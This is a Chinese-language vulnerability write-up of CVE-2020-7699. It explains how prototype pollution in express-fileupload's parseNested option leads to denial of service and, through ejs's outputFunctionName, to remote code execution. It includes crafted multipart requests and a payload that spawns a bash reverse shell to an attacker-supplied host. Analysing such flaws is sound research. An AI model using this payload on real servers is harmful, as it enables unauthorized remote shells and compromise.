CVE-2020-7699漏洞分析 – 作者:cowhite

CVE-2020-7699漏洞分析

参考链接:

https://blog.p6.is/Real-World-JS-1/

https://xz.aliyun.com/t/7075#toc-3

一、简介

CVE-2020-7699:NodeJS模块代码注入

该漏洞完全是由于Nodejs的express-fileupload模块引起,该模块的1.1.8之前的版本存在原型链污染(Prototype Pollution)漏洞,当然,引发该漏洞,需要一定的配置:parseNested选项设置为true

该漏洞可以引发DOS拒绝服务攻击,配合ejs模板引擎,可以达到RCE的目的

二、漏洞源码分析

如果想要复现的话,需要下载低版本的express-fileupload模块

npm i [email protected]

引起漏洞的源代码:(关键部分)

busboy.on('finish', () => {
  debugLog(options, `Busboy finished parsing request.`);
  if (options.parseNested) {
      req.body = processNested(req.body);
      req.files = processNested(req.files);
  }

  if (!req[waitFlushProperty]) return next();
  Promise.all(req[waitFlushProperty])
      .then(() => {
      delete req[waitFlushProperty];
      next();
  }).catch(err => {
      delete req[waitFlushProperty];
      debugLog(options, `Error while waiting files flush: ${err}`);
      next(err);
  });
});
function processNested(data){
  if (!data || data.length < 1) return {};

  let d = {},
      keys = Object.keys(data);       //获取键名,列表

  for (let i = 0; i < keys.length; i++) {
      let key = keys[i],
          value = data[key],
          current = d,
          keyParts = key
      .replace(new RegExp(/\[/g), '.')
      .replace(new RegExp(/\]/g), '')
      .split('.');

      for (let index = 0; index < keyParts.length; index++){
          let k = keyParts[index];
          if (index >= keyParts.length - 1){
              current[k] = value;
          } else {
              if (!current[k])
                  current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
              current = current[k];
          }
      }
  }

  return d;
};

其实引发原型链污染处就在于这个porcessNested方法,该函数用法:

例如:
传入的参数是:{"a.b.c":"m1sn0w"}
通过这个函数后,返回的是"{ a: { b: { c: 'm1sn0w' } } }

其实他跟那个merge函数比较类似,都是循环调用,因此存在原型链污染
传入参数:{"__proto__.m1sn0w":"m1sn0w"}
然后我们调用console.log(Object.__proto__.m1sn0w)
返回的值为m1sn0w

到这里,就比较清楚,只要调用processNested这个函数,并且如果函数的参数可控,便可达到原型链污染的目的。所以,这里就要介绍该漏洞形成的先决条件,parseNested配置选项要设置为true,例如:

const fileUpload = require('express-fileUpload')
var express = require('express')

app = express()
app.use(fileUpload({ parseNested: true }))

app.get('/',(req,res)=>{
res.end("m1sn0w")
})

观察最上方第一部分代码,如果parseNested参数为true,则调用processNested函数,且参数是req.body或者req.files

req.body是nodejs解析post请求体,req.files获取上传文件的信息

两种方法都可以。这里先使用req.files参数(后面的RCE会使用到req.body)

关于req.files参数,例如:POST请求上传文件

POST / HTTP/1.1

Host: 192.168.0.101:7778

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.101:7778/

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

Content-Length: 336

Connection: close

Upgrade-Insecure-Requests: 1



-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"

Content-Type: text/plain



aaa


-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="username"





-----------------------------1546646991721295948201928333--

可以观察到req.files的值为:

{ upload:
{ name: 'm1sn0w.txt',
data: <Buffer 61 61 61 0a>,
size: 4,
encoding: '7bit',
tempFilePath: '',
truncated: false,
mimetype: 'text/plain',
md5:'......'
mv: [Function: mv]
}
}

更改上面的upluod参数为

__proto__.toString
那么结果就会变回:
{
__proto__.toString:{
......
}
}

由于设置了parseNested,会自动调用processNested函数,因此就造成了原型链的污染。

相当于:

{}[__proto__][toString] = { ...... }

当我们再次访问页面时,会返回500的错误(因为toString方法改变了)

三、利用ejs进行RCE

ejs模板引擎存在一个利用原型污染,进行RCE的一个漏洞(这个漏洞暂时还没有修复,可能是因为利用的先决条件是要存在一个原型链污染的点)

先分析一下ejs引发此漏洞的源码:(这里提取出了关键部分)

compile: function () {
  /** @type {string} */
  var src;
  /** @type {ClientFunction} */
  var fn;
  var opts = this.opts;
  var prepended = '';
  var appended = '';
  /** @type {EscapeCallback} */
  var escapeFn = opts.escapeFunction;
  /** @type {FunctionConstructor} */
  var ctor;
 
  if (!this.source) {
    this.generateSource();
    prepended +=
      ' var __output = "";\n' +
      ' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
    if (opts.outputFunctionName) {
      prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
    }
    if (opts.destructuredLocals && opts.destructuredLocals.length) {
      var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
      for (var i = 0; i < opts.destructuredLocals.length; i++) {
        var name = opts.destructuredLocals[i];
        if (i > 0) {
          destructuring += ',\n ';
        }
        destructuring += name + ' = __locals.' + name;
      }
      prepended += destructuring + ';\n';
    }
    if (opts._with !== false) {
      prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
      appended += ' }' + '\n';
    }
    appended += ' return __output;' + '\n';
    this.source = prepended + this.source + appended;
  }
}

  src = this.source

  ctor = Function

  fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src);

  fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);

可以从下往上进行分析:

  1. 调用了fn方法,如果src参数可控,那么就可以自定义该函数;

  2. src参数的值来源于this.source

  3. 从最上面的方法,this.source = prepended + this.source + appended

其实上面整个函数都是在拼接this.source,最关键的部分在这里:

if (!this.source) {
    this.generateSource();
    prepended +=
      ' var __output = "";\n' +
      ' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
    if (opts.outputFunctionName) {
      prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
    }
}

利用的其实是这个:

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';

通过全局分析,opts.outputFunctionName最初是并没有赋值的,如果存在原型链污染漏洞的话,我们可以自定义构造这个值,构造payload:

opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x

仔细观察一下,为什么要x;开头x结尾呢?其实是对上面的拼接,构成一个完整的js语句

 

现在来看一看如何通过上面的原型链污染来利用ejs达到RCE

这里利用的就是req.body而不是req.files

例如,这里构造POST请求:

POST / HTTP/1.1

Host: 192.168.0.101:7778

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.101:7778/

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

Content-Length: 339

Connection: close

Upgrade-Insecure-Requests: 1



-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"

Content-Type: text/plain



aaa


-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="username"



123

-----------------------------1546646991721295948201928333--

通过req.body返回的是

{ username : '123' }

我们将上面的username改为

__proto__.outputFunctionName

123的值改为:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x

当我们再次发起请求时,便会在指定的主机反弹回来一个shell,从而达到RCE的目的

来源:freebuf.com 2020-08-07 23:57:19 by: cowhite

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论